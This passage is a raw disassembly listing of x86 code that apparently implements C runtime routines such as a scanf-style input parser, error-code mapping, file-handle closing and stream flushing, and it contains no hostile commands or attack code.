mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42E91F
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_42E8DA
; ---------------------------------------------------------------------------
loc_42E91F: ; CODE XREF: sub_42E525+366j
; sub_42E525+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_42EF9B
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_42EF2B
cmp [ebp+var_E], 0
jnz loc_42EE8C
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_453804
add esp, 0Ch
jmp loc_42EE8C
; ---------------------------------------------------------------------------
loc_42E963: ; CODE XREF: sub_42E525+20Cj
cmp [ebp+var_20], eax
jnz short loc_42E972
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_42E972: ; CODE XREF: sub_42E525+441j
cmp [ebp+var_5], 0
jle short loc_42E97C
mov [ebp+var_16], 1
loc_42E97C: ; CODE XREF: sub_42E525+451j
mov edi, offset dword_45322C
jmp loc_42EA91
; ---------------------------------------------------------------------------
loc_42E986: ; CODE XREF: sub_42E525+1FDj
mov eax, esi
sub eax, 70h
jz loc_42EC34
sub eax, 3
jz loc_42EA82
dec eax
dec eax
jz loc_42EC38
sub eax, 3
jz loc_42E76E
sub eax, 3
jz short loc_42E9D4
loc_42E9B0: ; CODE XREF: sub_42E525+21Bj
; sub_42E525+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_42EEFB
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_42EE8C
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_42EE8C
; ---------------------------------------------------------------------------
loc_42E9D4: ; CODE XREF: sub_42E525+489j
cmp [ebp+var_5], 0
jle short loc_42E9DE
mov [ebp+var_16], 1
loc_42E9DE: ; CODE XREF: sub_42E525+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_42EA95
mov eax, edi
lea edi, [eax+1]
jmp loc_42EA91
; ---------------------------------------------------------------------------
loc_42E9F8: ; CODE XREF: sub_42E525+24Fj
cmp ebx, 2Bh
jnz short loc_42EA1F
loc_42E9FD: ; CODE XREF: sub_42E525+259j
dec [ebp+var_C]
jnz short loc_42EA0E
cmp [ebp+var_20], 0
jz short loc_42EA0E
mov [ebp+var_F], 1
jmp short loc_42EA1F
; ---------------------------------------------------------------------------
loc_42EA0E: ; CODE XREF: sub_42E525+4DBj
; sub_42E525+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42EF81
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_42EA1F: ; CODE XREF: sub_42E525+4D6j
; sub_42E525+4E7j
cmp ebx, 30h
jnz loc_42EC6D
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42EF81
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_42EA6D
cmp bl, 58h
jz short loc_42EA6D
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_42EA57
push 6Fh
loc_42EA51: ; CODE XREF: sub_42E525+55Bj
pop esi
jmp loc_42EC6D
; ---------------------------------------------------------------------------
loc_42EA57: ; CODE XREF: sub_42E525+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_42EF9B
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_42EC6A
; ---------------------------------------------------------------------------
loc_42EA6D: ; CODE XREF: sub_42E525+517j
; sub_42E525+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42EF81
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_42EA51
; ---------------------------------------------------------------------------
loc_42EA82: ; CODE XREF: sub_42E525+46Fj
cmp [ebp+var_5], 0
jle short loc_42EA8C
mov [ebp+var_16], 1
loc_42EA8C: ; CODE XREF: sub_42E525+561j
mov edi, offset dword_453224
loc_42EA91: ; CODE XREF: sub_42E525+45Cj
; sub_42E525+4CEj
or [ebp+var_18], 0FFh
loc_42EA95: ; CODE XREF: sub_42E525+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_429690
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_42EAB9
cmp byte ptr [edi], 5Dh
jnz short loc_42EAB9
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_42EABC
; ---------------------------------------------------------------------------
loc_42EAB9: ; CODE XREF: sub_42E525+584j
; sub_42E525+589j
mov dl, [ebp+var_35]
loc_42EABC: ; CODE XREF: sub_42E525+592j
; sub_42E525+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_42EB21
inc edi
cmp al, 2Dh
jnz short loc_42EB08
test dl, dl
jz short loc_42EB08
mov cl, [edi]
cmp cl, 5Dh
jz short loc_42EB08
inc edi
cmp dl, cl
jnb short loc_42EADB
mov al, cl
jmp short loc_42EADF
; ---------------------------------------------------------------------------
loc_42EADB: ; CODE XREF: sub_42E525+5B0j
mov al, dl
mov dl, cl
loc_42EADF: ; CODE XREF: sub_42E525+5B4j
cmp dl, al
ja short loc_42EB04
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_42EAEC: ; CODE XREF: sub_42E525+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_42EAEC
loc_42EB04: ; CODE XREF: sub_42E525+5BCj
xor dl, dl
jmp short loc_42EABC
; ---------------------------------------------------------------------------
loc_42EB08: ; CODE XREF: sub_42E525+5A0j
; sub_42E525+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_42EABC
; ---------------------------------------------------------------------------
loc_42EB21: ; CODE XREF: sub_42E525+59Bj
cmp byte ptr [edi], 0
jz loc_42EF2B
cmp [ebp+var_3C], 7Bh
jnz short loc_42EB33
mov [ebp+arg_4], edi
loc_42EB33: ; CODE XREF: sub_42E525+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_42EF9B
pop ecx
pop ecx
loc_42EB4A: ; CODE XREF: sub_42E525+6BCj
; sub_42E525+6C4j
cmp [ebp+var_20], 0
jz short loc_42EB5E
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_42EBFA
loc_42EB5E: ; CODE XREF: sub_42E525+629j
inc [ebp+var_4]
push edi
call sub_42EF81
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_42EBEE
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_42EBEE
cmp [ebp+var_E], 0
jnz short loc_42EBE6
cmp [ebp+var_16], 0
jz short loc_42EBDB
mov ecx, off_453398
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42EBBA
inc [ebp+var_4]
push edi
call sub_42EF81
pop ecx
mov [ebp+var_37], al
loc_42EBBA: ; CODE XREF: sub_42E525+686j
push dword_4535A4
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_433252
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_42EBDE
; ---------------------------------------------------------------------------
loc_42EBDB: ; CODE XREF: sub_42E525+673j
mov [esi], al
inc esi
loc_42EBDE: ; CODE XREF: sub_42E525+6B4j
mov [ebp+var_2C], esi
jmp loc_42EB4A
; ---------------------------------------------------------------------------
loc_42EBE6: ; CODE XREF: sub_42E525+66Dj
inc [ebp+var_30]
jmp loc_42EB4A
; ---------------------------------------------------------------------------
loc_42EBEE: ; CODE XREF: sub_42E525+649j
; sub_42E525+667j
dec [ebp+var_4]
push edi
push eax
call sub_42EF9B
pop ecx
pop ecx
loc_42EBFA: ; CODE XREF: sub_42E525+633j
cmp [ebp+var_30], esi
jz loc_42EF2B
cmp [ebp+var_E], 0
jnz loc_42EE8C
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_42EE8C
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_42EC2C
and word ptr [eax], 0
jmp loc_42EE8C
; ---------------------------------------------------------------------------
loc_42EC2C: ; CODE XREF: sub_42E525+6FCj
and byte ptr [eax], 0
jmp loc_42EE8C
; ---------------------------------------------------------------------------
loc_42EC34: ; CODE XREF: sub_42E525+466j
mov [ebp+var_D], 1
loc_42EC38: ; CODE XREF: sub_42E525+203j
; sub_42E525+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_42EC46
mov [ebp+var_17], 1
jmp short loc_42EC4B
; ---------------------------------------------------------------------------
loc_42EC46: ; CODE XREF: sub_42E525+719j
cmp ebx, 2Bh
jnz short loc_42EC6D
loc_42EC4B: ; CODE XREF: sub_42E525+71Fj
dec [ebp+var_C]
jnz short loc_42EC5C
cmp [ebp+var_20], 0
jz short loc_42EC5C
mov [ebp+var_F], 1
jmp short loc_42EC6D
; ---------------------------------------------------------------------------
loc_42EC5C: ; CODE XREF: sub_42E525+729j
; sub_42E525+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42EF81
pop ecx
mov ebx, eax
loc_42EC6A: ; CODE XREF: sub_42E525+543j
mov [ebp+var_14], ebx
loc_42EC6D: ; CODE XREF: sub_42E525+4FDj
; sub_42E525+52Dj ...
cmp [ebp+var_30], 0
jz loc_42ED86
cmp [ebp+var_F], 0
jnz loc_42ED64
loc_42EC81: ; CODE XREF: sub_42E525+82Cj
cmp esi, 78h
jnz short loc_42ECD5
cmp dword_4535A4, 1
jle short loc_42EC9E
push 80h
push ebx
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42ECAB
; ---------------------------------------------------------------------------
loc_42EC9E: ; CODE XREF: sub_42E525+768j
mov eax, off_453398
mov al, [eax+ebx*2]
and eax, 80h
loc_42ECAB: ; CODE XREF: sub_42E525+777j
test eax, eax
jz loc_42ED56
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_433380
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_42EF4A
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42ED28
; ---------------------------------------------------------------------------
loc_42ECD5: ; CODE XREF: sub_42E525+75Fj
cmp dword_4535A4, 1
jle short loc_42ECEA
push 4
push ebx
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42ECF5
; ---------------------------------------------------------------------------
loc_42ECEA: ; CODE XREF: sub_42E525+7B7j
mov eax, off_453398
mov al, [eax+ebx*2]
and eax, 4
loc_42ECF5: ; CODE XREF: sub_42E525+7C3j
test eax, eax
jz short loc_42ED56
cmp esi, 6Fh
jnz short loc_42ED13
cmp ebx, 38h
jge short loc_42ED56
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_433380
jmp short loc_42ED22
; ---------------------------------------------------------------------------
loc_42ED13: ; CODE XREF: sub_42E525+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_42C420
loc_42ED22: ; CODE XREF: sub_42E525+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_42ED28: ; CODE XREF: sub_42E525+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_42ED40
dec [ebp+var_C]
jz short loc_42ED64
loc_42ED40: ; CODE XREF: sub_42E525+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42EF81
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42EC81
; ---------------------------------------------------------------------------
loc_42ED56: ; CODE XREF: sub_42E525+788j
; sub_42E525+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_42EF9B
pop ecx
pop ecx
loc_42ED64: ; CODE XREF: sub_42E525+756j
; sub_42E525+819j
cmp [ebp+var_17], 0
jz loc_42EE4A
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_42EE4A
; ---------------------------------------------------------------------------
loc_42ED86: ; CODE XREF: sub_42E525+74Cj
cmp [ebp+var_F], 0
jnz loc_42EE42
loc_42ED90: ; CODE XREF: sub_42E525+90Aj
cmp esi, 78h
jz short loc_42EDD4
cmp esi, 70h
jz short loc_42EDD4
cmp dword_4535A4, 1
jle short loc_42EDAF
push 4
push ebx
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42EDBA
; ---------------------------------------------------------------------------
loc_42EDAF: ; CODE XREF: sub_42E525+87Cj
mov eax, off_453398
mov al, [eax+ebx*2]
and eax, 4
loc_42EDBA: ; CODE XREF: sub_42E525+888j
test eax, eax
jz short loc_42EE34
cmp esi, 6Fh
jnz short loc_42EDCD
cmp ebx, 38h
jge short loc_42EE34
shl edi, 3
jmp short loc_42EE0C
; ---------------------------------------------------------------------------
loc_42EDCD: ; CODE XREF: sub_42E525+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_42EE0C
; ---------------------------------------------------------------------------
loc_42EDD4: ; CODE XREF: sub_42E525+86Ej
; sub_42E525+873j
cmp dword_4535A4, 1
jle short loc_42EDEC
push 80h
push ebx
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42EDF9
; ---------------------------------------------------------------------------
loc_42EDEC: ; CODE XREF: sub_42E525+8B6j
mov eax, off_453398
mov al, [eax+ebx*2]
and eax, 80h
loc_42EDF9: ; CODE XREF: sub_42E525+8C5j
test eax, eax
jz short loc_42EE34
push ebx
shl edi, 4
call sub_42EF4A
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_42EE0C: ; CODE XREF: sub_42E525+8A6j
; sub_42E525+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_42EE1E
dec [ebp+var_C]
jz short loc_42EE42
loc_42EE1E: ; CODE XREF: sub_42E525+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42EF81
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42ED90
; ---------------------------------------------------------------------------
loc_42EE34: ; CODE XREF: sub_42E525+897j
; sub_42E525+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_42EF9B
pop ecx
pop ecx
loc_42EE42: ; CODE XREF: sub_42E525+865j
; sub_42E525+8F7j
cmp [ebp+var_17], 0
jz short loc_42EE4A
neg edi
loc_42EE4A: ; CODE XREF: sub_42E525+843j
; sub_42E525+85Cj ...
cmp esi, 46h
jnz short loc_42EE53
and [ebp+var_1C], 0
loc_42EE53: ; CODE XREF: sub_42E525+928j
cmp [ebp+var_1C], 0
jz loc_42EF2B
cmp [ebp+var_E], 0
jnz short loc_42EE8C
inc [ebp+var_34]
loc_42EE66: ; CODE XREF: sub_42E525+23Bj
cmp [ebp+var_30], 0
jz short loc_42EE7C
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_42EE8C
; ---------------------------------------------------------------------------
loc_42EE7C: ; CODE XREF: sub_42E525+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_42EE89
mov [eax], edi
jmp short loc_42EE8C
; ---------------------------------------------------------------------------
loc_42EE89: ; CODE XREF: sub_42E525+95Ej
mov [eax], di
loc_42EE8C: ; CODE XREF: sub_42E525+241j
; sub_42E525+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_42EED9
; ---------------------------------------------------------------------------
loc_42EE97: ; CODE XREF: sub_42E525+93j
inc [ebp+var_4]
push edi
call sub_42EF81
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_42EF06
mov ecx, off_453398
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42EED9
inc [ebp+var_4]
push edi
call sub_42EF81
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_42EF14
dec [ebp+var_4]
loc_42EED9: ; CODE XREF: sub_42E525+970j
; sub_42E525+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42EEEF
cmp byte ptr [esi], 25h
jnz short loc_42EF31
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_42EF31
mov esi, eax
loc_42EEEF: ; CODE XREF: sub_42E525+9B8j
mov al, [esi]
test al, al
jnz loc_42E54F
jmp short loc_42EF2B
; ---------------------------------------------------------------------------
loc_42EEFB: ; CODE XREF: sub_42E525+1F4j
; sub_42E525+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_42EF0B
; ---------------------------------------------------------------------------
loc_42EF06: ; CODE XREF: sub_42E525+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_42EF0B: ; CODE XREF: sub_42E525+9DFj
call sub_42EF9B
pop ecx
pop ecx
jmp short loc_42EF2B
; ---------------------------------------------------------------------------
loc_42EF14: ; CODE XREF: sub_42E525+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_42EF9B
dec [ebp+var_4]
push edi
push ebx
call sub_42EF9B
add esp, 10h
loc_42EF2B: ; CODE XREF: sub_42E525+1Fj
; sub_42E525+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42EF42
loc_42EF31: ; CODE XREF: sub_42E525+9BDj
; sub_42E525+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_42EF45
cmp [ebp+var_15], al
jnz short loc_42EF45
or eax, 0FFFFFFFFh
jmp short loc_42EF45
; ---------------------------------------------------------------------------
loc_42EF42: ; CODE XREF: sub_42E525+A0Aj
mov eax, [ebp+var_34]
loc_42EF45: ; CODE XREF: sub_42E525+A11j
; sub_42E525+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_42E525 endp
; =============== S U B R O U T I N E =======================================
sub_42EF4A proc near ; CODE XREF: sub_42E525+7A3p
; sub_42E525+8DCp
arg_0 = dword ptr 4
cmp dword_4535A4, 1
push esi
jle short loc_42EF64
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42EF73
; ---------------------------------------------------------------------------
loc_42EF64: ; CODE XREF: sub_42EF4A+8j
mov esi, [esp+4+arg_0]
mov eax, off_453398
mov al, [eax+esi*2]
and eax, 4
loc_42EF73: ; CODE XREF: sub_42EF4A+18j
test eax, eax
jnz short loc_42EF7D
and esi, 0FFFFFFDFh
sub esi, 7
loc_42EF7D: ; CODE XREF: sub_42EF4A+2Bj
mov eax, esi
pop esi
retn
sub_42EF4A endp
; =============== S U B R O U T I N E =======================================
sub_42EF81 proc near ; CODE XREF: sub_42E525+1E1p
; sub_42E525+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_42EF93
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42EF93: ; CODE XREF: sub_42EF81+7j
push edx
call sub_42F312
pop ecx
retn
sub_42EF81 endp
; =============== S U B R O U T I N E =======================================
sub_42EF9B proc near ; CODE XREF: sub_42E525+6Bp
; sub_42E525+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_42EFB1
push [esp+arg_4]
push [esp+4+arg_0]
call sub_43339F
pop ecx
pop ecx
locret_42EFB1: ; CODE XREF: sub_42EF9B+5j
retn
sub_42EF9B endp
; =============== S U B R O U T I N E =======================================
sub_42EFB2 proc near ; CODE XREF: sub_42E525+63p
; sub_42E525+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_42EFB8: ; CODE XREF: sub_42EFB2+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_42EF81
mov edi, eax
push edi
call sub_42C47C
pop ecx
test eax, eax
pop ecx
jnz short loc_42EFB8
mov eax, edi
pop edi
pop esi
retn
sub_42EFB2 endp
; =============== S U B R O U T I N E =======================================
sub_42EFD6 proc near ; CODE XREF: sub_42A5F0+16p
; sub_42AAB1+67p ...
arg_0 = dword ptr 4
push esi
call sub_42F052
mov ecx, [esp+4+arg_0]
xor esi, esi
mov [eax], ecx
mov eax, offset dword_453230
loc_42EFE9: ; CODE XREF: sub_42EFD6+20j
cmp ecx, [eax]
jz short loc_42F00F
add eax, 8
inc esi
cmp eax, offset off_453398
jl short loc_42EFE9
cmp ecx, 13h
jb short loc_42F01F
cmp ecx, 24h
ja short loc_42F01F
call sub_42F049
mov dword ptr [eax], 0Dh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F00F: ; CODE XREF: sub_42EFD6+15j
call sub_42F049
mov ecx, dword_453234[esi*8]
pop esi
mov [eax], ecx
retn
; ---------------------------------------------------------------------------
loc_42F01F: ; CODE XREF: sub_42EFD6+25j
; sub_42EFD6+2Aj
cmp ecx, 0BCh
jb short loc_42F03C
cmp ecx, 0CAh
ja short loc_42F03C
call sub_42F049
mov dword ptr [eax], 8
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F03C: ; CODE XREF: sub_42EFD6+4Fj
; sub_42EFD6+57j
call sub_42F049
mov dword ptr [eax], 16h
pop esi
retn
sub_42EFD6 endp
; =============== S U B R O U T I N E =======================================
sub_42F049 proc near ; CODE XREF: sub_429D89:loc_429F3Bp
; sub_42A1F1+83p ...
call sub_42E41E
add eax, 8
retn
sub_42F049 endp
; =============== S U B R O U T I N E =======================================
sub_42F052 proc near ; CODE XREF: sub_42A5F0+36p
; sub_42EFD6+1p ...
call sub_42E41E
add eax, 0Ch
retn
sub_42F052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F05B proc near ; CODE XREF: sub_429D89+27p
; sub_429D89+E4p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_42F079
mov ecx, off_453398
movzx eax, word ptr [ecx+eax*2]
jmp short loc_42F0CB
; ---------------------------------------------------------------------------
loc_42F079: ; CODE XREF: sub_42F05B+10j
mov ecx, eax
push esi
mov esi, off_453398
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_42F09E
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_42F0A7
; ---------------------------------------------------------------------------
loc_42F09E: ; CODE XREF: sub_42F05B+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_42F0A7: ; CODE XREF: sub_42F05B+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_43340D
add esp, 1Ch
test eax, eax
jnz short loc_42F0C7
leave
retn
; ---------------------------------------------------------------------------
loc_42F0C7: ; CODE XREF: sub_42F05B+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_42F0CB: ; CODE XREF: sub_42F05B+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_42F05B endp
; =============== S U B R O U T I N E =======================================
sub_42F0D0 proc near ; CODE XREF: sub_418974+88p
; sub_418A0D+216p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, dword_676FC0
jnb short loc_42F115
mov ecx, esi
mov eax, esi
sar ecx, 5
and eax, 1Fh
mov ecx, dword_676EC0[ecx*4]
lea eax, [eax+eax*8]
test byte ptr [ecx+eax*4+4], 1
jz short loc_42F115
push edi
push esi
call sub_43234B
push esi
call sub_42F12D
push esi
mov edi, eax
call sub_4323AA
add esp, 0Ch
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F115: ; CODE XREF: sub_42F0D0+Bj
; sub_42F0D0+26j
call sub_42F049
mov dword ptr [eax], 9
call sub_42F052
and dword ptr [eax], 0
or eax, 0FFFFFFFFh
pop esi
retn
sub_42F0D0 endp
; =============== S U B R O U T I N E =======================================
sub_42F12D proc near ; CODE XREF: sub_42F0D0+30p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
push esi
call sub_432309
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_42F17B
cmp esi, 1
jz short loc_42F149
cmp esi, 2
jnz short loc_42F15F
loc_42F149: ; CODE XREF: sub_42F12D+15j
push 2
call sub_432309
push 1
mov edi, eax
call sub_432309
pop ecx
cmp eax, edi
pop ecx
jz short loc_42F17B
loc_42F15F: ; CODE XREF: sub_42F12D+1Aj
push esi
call sub_432309
pop ecx
push eax
call dword_437044 ; CloseHandle
test eax, eax
jnz short loc_42F17B
call dword_43716C ; RtlGetLastWin32Error
mov edi, eax
jmp short loc_42F17D
; ---------------------------------------------------------------------------
loc_42F17B: ; CODE XREF: sub_42F12D+10j
; sub_42F12D+30j ...
xor edi, edi
loc_42F17D: ; CODE XREF: sub_42F12D+4Cj
push esi
call sub_43228A
mov eax, esi
and esi, 1Fh
sar eax, 5
pop ecx
mov eax, dword_676EC0[eax*4]
lea ecx, [esi+esi*8]
and byte ptr [eax+ecx*4+4], 0
test edi, edi
jz short loc_42F1AB
push edi
call sub_42EFD6
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_42F1AD
; ---------------------------------------------------------------------------
loc_42F1AB: ; CODE XREF: sub_42F12D+70j
xor eax, eax
loc_42F1AD: ; CODE XREF: sub_42F12D+7Cj
pop edi
pop esi
retn
sub_42F12D endp
; =============== S U B R O U T I N E =======================================
sub_42F1B0 proc near ; CODE XREF: sub_42A06C+18p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_42F1D9
test al, 8
jz short loc_42F1D9
push dword ptr [esi+8]
call sub_429822
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_42F1D9: ; CODE XREF: sub_42F1B0+Aj
; sub_42F1B0+Ej
pop esi
retn
sub_42F1B0 endp
; =============== S U B R O U T I N E =======================================
sub_42F1DB proc near ; CODE XREF: sub_42F26E+4Cp
; sub_42F26E+67p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_42F209
test eax, eax
pop ecx
jz short loc_42F1F0
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F1F0: ; CODE XREF: sub_42F1DB+Ej
test byte ptr [esi+0Dh], 40h
jz short loc_42F205
push dword ptr [esi+10h]
call sub_433556
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_42F205: ; CODE XREF: sub_42F1DB+19j
xor eax, eax
pop esi
retn
sub_42F1DB endp
; =============== S U B R O U T I N E =======================================
sub_42F209 proc near ; CODE XREF: sub_42A06C+10p
; sub_42A37E+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_42F256
test ax, 108h
jz short loc_42F256
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_42F256
push edi
push eax
push dword ptr [esi+10h]
call sub_4323CC
add esp, 0Ch
cmp eax, edi
jnz short loc_42F24F
mov eax, [esi+0Ch]
test al, 80h
jz short loc_42F256
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_42F256
; ---------------------------------------------------------------------------
loc_42F24F: ; CODE XREF: sub_42F209+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_42F256: ; CODE XREF: sub_42F209+14j
; sub_42F209+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_42F209 endp
; =============== S U B R O U T I N E =======================================
sub_42F265 proc near ; CODE XREF: sub_42C0F0p
push 1
call sub_42F26E
pop ecx
retn
sub_42F265 endp
; =============== S U B R O U T I N E =======================================
sub_42F26E proc near ; CODE XREF: sub_42F265+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
push 2
xor ebx, ebx
xor edi, edi
call sub_42DA1F
xor esi, esi
pop ecx
cmp dword_678000, esi
jle short loc_42F2FB
loc_42F287: ; CODE XREF: sub_42F26E+8Bj
mov eax, dword_676FEC
mov eax, [eax+esi*4]
test eax, eax
jz short loc_42F2F2
test byte ptr [eax+0Ch], 83h
jz short loc_42F2F2
push eax
push esi
call sub_42C133
mov eax, dword_676FEC
pop ecx
pop ecx
mov eax, [eax+esi*4]
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_42F2E2
cmp [esp+0Ch+arg_0], 1
jnz short loc_42F2C8
push eax
